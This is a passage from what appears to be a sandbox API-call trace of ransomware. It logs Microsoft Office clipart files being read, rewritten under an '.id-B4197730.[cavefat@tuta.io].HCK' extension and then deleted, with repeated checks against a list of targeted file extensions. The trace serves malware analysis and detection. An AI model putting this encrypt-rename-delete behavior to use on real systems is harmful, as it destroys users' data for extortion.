office\\root\\clipart\\pub60cor\\sl00298_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00298_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0180.167] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.167] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00298_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00298_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0180.172] GetLastError () returned 0x0 [0180.172] ReadFile (in: hFile=0x300, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x1268, lpOverlapped=0x0) returned 1 [0180.173] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1270, lpOverlapped=0x0) returned 1 [0180.174] ReadFile (in: hFile=0x300, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0180.174] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0180.174] SetEndOfFile (hFile=0x370) returned 1 [0180.175] CloseHandle (hObject=0x370) returned 1 [0180.177] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.177] SetEndOfFile (hFile=0x300) returned 1 [0180.182] CloseHandle (hObject=0x300) returned 1 [0180.183] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00298_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.183] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00298_.wmf")) returned 1 [0180.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00298_.WMF") returned 68 [0180.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00298_.WMF") returned 68 [0180.183] lstrlenW (lpString=".doc") returned 4 [0180.183] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.183] lstrlenW (lpString=".docx") returned 5 [0180.183] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.183] lstrlenW (lpString=".pdf") returned 4 [0180.183] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.183] lstrlenW (lpString=".xls") returned 4 [0180.183] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.183] lstrlenW (lpString=".xlsx") returned 5 [0180.183] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.183] lstrlenW (lpString=".ppt") returned 4 [0180.183] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00298_.WMF") returned 68 [0180.183] lstrlenW (lpString=".zip") returned 4 [0180.183] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.183] lstrlenW (lpString=".rar") returned 4 [0180.183] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.183] lstrlenW (lpString=".bz2") returned 4 [0180.183] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.184] lstrlenW (lpString=".7z") returned 3 [0180.184] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00298_.WMF") returned 68 [0180.184] lstrlenW (lpString=".dbf") returned 4 [0180.184] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00298_.WMF") returned 68 [0180.184] lstrlenW (lpString=".1cd") returned 4 [0180.184] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00298_.WMF") returned 68 [0180.184] lstrlenW (lpString=".jpg") returned 4 [0180.184] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00298_.WMF") returned 68 [0180.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00298_.WMF") returned 68 [0180.184] lstrlenW (lpString=".doc") returned 4 [0180.184] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.184] lstrlenW (lpString=".docx") returned 5 [0180.184] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.184] lstrlenW (lpString=".pdf") returned 4 [0180.184] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.184] lstrlenW (lpString=".xls") returned 4 [0180.184] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.184] lstrlenW (lpString=".xlsx") returned 5 [0180.184] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.184] lstrlenW (lpString=".ppt") returned 4 [0180.184] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00298_.WMF") returned 68 [0180.184] lstrlenW (lpString=".zip") returned 4 [0180.184] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.184] lstrlenW (lpString=".rar") returned 4 [0180.184] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.184] lstrlenW (lpString=".bz2") returned 4 [0180.184] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.184] lstrlenW (lpString=".7z") returned 3 [0180.184] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00298_.WMF") returned 68 [0180.184] lstrlenW (lpString=".dbf") returned 4 [0180.184] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00298_.WMF") returned 68 [0180.184] lstrlenW (lpString=".1cd") returned 4 [0180.184] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00298_.WMF") returned 68 [0180.184] lstrlenW (lpString=".jpg") returned 4 [0180.184] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.184] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.184] lstrlenW (lpString="SL00712_.WMF") returned 12 [0180.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00712_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00712_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0180.187] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=7608) returned 1 [0180.187] CloseHandle (hObject=0x368) returned 1 [0180.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00712_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00712_.wmf")) returned 0x220 [0180.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00712_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00712_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00712_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00712_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0180.189] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.189] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00712_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00712_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0180.193] GetLastError () returned 0x0 [0180.193] ReadFile (in: hFile=0x300, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x1db8, lpOverlapped=0x0) returned 1 [0180.195] WriteFile (in: hFile=0x39c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1dc0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1dc0, lpOverlapped=0x0) returned 1 [0180.196] ReadFile (in: hFile=0x300, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0180.196] WriteFile (in: hFile=0x39c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0180.196] SetEndOfFile (hFile=0x39c) returned 1 [0180.198] CloseHandle (hObject=0x39c) returned 1 [0180.198] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.198] SetEndOfFile (hFile=0x300) returned 1 [0180.199] CloseHandle (hObject=0x300) returned 1 [0180.199] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00712_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.199] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00712_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00712_.wmf")) returned 1 [0180.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00712_.WMF") returned 68 [0180.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00712_.WMF") returned 68 [0180.201] lstrlenW (lpString=".doc") returned 4 [0180.201] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.201] lstrlenW (lpString=".docx") returned 5 [0180.201] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.201] lstrlenW (lpString=".pdf") returned 4 [0180.201] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.201] lstrlenW (lpString=".xls") returned 4 [0180.201] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.201] lstrlenW (lpString=".xlsx") returned 5 [0180.201] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.201] lstrlenW (lpString=".ppt") returned 4 [0180.201] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00712_.WMF") returned 68 [0180.201] lstrlenW (lpString=".zip") returned 4 [0180.201] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.201] lstrlenW (lpString=".rar") returned 4 [0180.201] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.202] lstrlenW (lpString=".bz2") returned 4 [0180.202] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.202] lstrlenW (lpString=".7z") returned 3 [0180.202] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00712_.WMF") returned 68 [0180.202] lstrlenW (lpString=".dbf") returned 4 [0180.202] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00712_.WMF") returned 68 [0180.202] lstrlenW (lpString=".1cd") returned 4 [0180.202] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00712_.WMF") returned 68 [0180.202] lstrlenW (lpString=".jpg") returned 4 [0180.202] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00712_.WMF") returned 68 [0180.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00712_.WMF") returned 68 [0180.202] lstrlenW (lpString=".doc") returned 4 [0180.202] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.202] lstrlenW (lpString=".docx") returned 5 [0180.202] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.202] lstrlenW (lpString=".pdf") returned 4 [0180.202] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.202] lstrlenW (lpString=".xls") returned 4 [0180.202] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.202] lstrlenW (lpString=".xlsx") returned 5 [0180.202] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.202] lstrlenW (lpString=".ppt") returned 4 [0180.202] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00712_.WMF") returned 68 [0180.202] lstrlenW (lpString=".zip") returned 4 [0180.202] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.202] lstrlenW (lpString=".rar") returned 4 [0180.202] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.202] lstrlenW (lpString=".bz2") returned 4 [0180.202] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.202] lstrlenW (lpString=".7z") returned 3 [0180.202] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00712_.WMF") returned 68 [0180.202] lstrlenW (lpString=".dbf") returned 4 [0180.202] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00712_.WMF") returned 68 [0180.202] lstrlenW (lpString=".1cd") returned 4 [0180.202] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00712_.WMF") returned 68 [0180.202] lstrlenW (lpString=".jpg") returned 4 [0180.202] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.202] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.202] lstrlenW (lpString="SL01041_.WMF") returned 12 [0180.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01041_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl01041_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0180.206] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=1548) returned 1 [0180.206] CloseHandle (hObject=0x3a4) returned 1 [0180.206] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01041_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl01041_.wmf")) returned 0x220 [0180.207] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01041_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl01041_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01041_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl01041_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0180.210] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.210] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01041_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl01041_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0180.212] GetLastError () returned 0x0 [0180.212] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x60c, lpOverlapped=0x0) returned 1 [0180.213] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x610, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x610, lpOverlapped=0x0) returned 1 [0180.214] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0180.214] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0180.214] SetEndOfFile (hFile=0x370) returned 1 [0180.214] CloseHandle (hObject=0x370) returned 1 [0180.216] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.216] SetEndOfFile (hFile=0x2fc) returned 1 [0180.219] CloseHandle (hObject=0x2fc) returned 1 [0180.220] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01041_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.221] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01041_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl01041_.wmf")) returned 1 [0180.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01041_.WMF") returned 68 [0180.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01041_.WMF") returned 68 [0180.222] lstrlenW (lpString=".doc") returned 4 [0180.222] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.222] lstrlenW (lpString=".docx") returned 5 [0180.222] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.222] lstrlenW (lpString=".pdf") returned 4 [0180.222] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.222] lstrlenW (lpString=".xls") returned 4 [0180.222] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.222] lstrlenW (lpString=".xlsx") returned 5 [0180.222] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.222] lstrlenW (lpString=".ppt") returned 4 [0180.222] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01041_.WMF") returned 68 [0180.222] lstrlenW (lpString=".zip") returned 4 [0180.222] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.222] lstrlenW (lpString=".rar") returned 4 [0180.222] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.222] lstrlenW (lpString=".bz2") returned 4 [0180.222] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.222] lstrlenW (lpString=".7z") returned 3 [0180.222] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01041_.WMF") returned 68 [0180.222] lstrlenW (lpString=".dbf") returned 4 [0180.222] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01041_.WMF") returned 68 [0180.222] lstrlenW (lpString=".1cd") returned 4 [0180.222] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01041_.WMF") returned 68 [0180.222] lstrlenW (lpString=".jpg") returned 4 [0180.222] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01041_.WMF") returned 68 [0180.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01041_.WMF") returned 68 [0180.222] lstrlenW (lpString=".doc") returned 4 [0180.222] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.223] lstrlenW (lpString=".docx") returned 5 [0180.223] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.223] lstrlenW (lpString=".pdf") returned 4 [0180.223] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.223] lstrlenW (lpString=".xls") returned 4 [0180.223] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.223] lstrlenW (lpString=".xlsx") returned 5 [0180.223] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.223] lstrlenW (lpString=".ppt") returned 4 [0180.223] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01041_.WMF") returned 68 [0180.223] lstrlenW (lpString=".zip") returned 4 [0180.223] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.223] lstrlenW (lpString=".rar") returned 4 [0180.223] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.223] lstrlenW (lpString=".bz2") returned 4 [0180.223] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.223] lstrlenW (lpString=".7z") returned 3 [0180.223] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01041_.WMF") returned 68 [0180.223] lstrlenW (lpString=".dbf") returned 4 [0180.223] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01041_.WMF") returned 68 [0180.223] lstrlenW (lpString=".1cd") returned 4 [0180.223] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01041_.WMF") returned 68 [0180.223] lstrlenW (lpString=".jpg") returned 4 [0180.223] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.223] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.223] lstrlenW (lpString="SO00017_.WMF") returned 12 [0180.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00017_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00017_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0180.227] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=13994) returned 1 [0180.227] CloseHandle (hObject=0x3a4) returned 1 [0180.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00017_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00017_.wmf")) returned 0x220 [0180.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00017_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00017_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00017_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00017_.wmf"), dwDesiredAccess=0xc0000000, 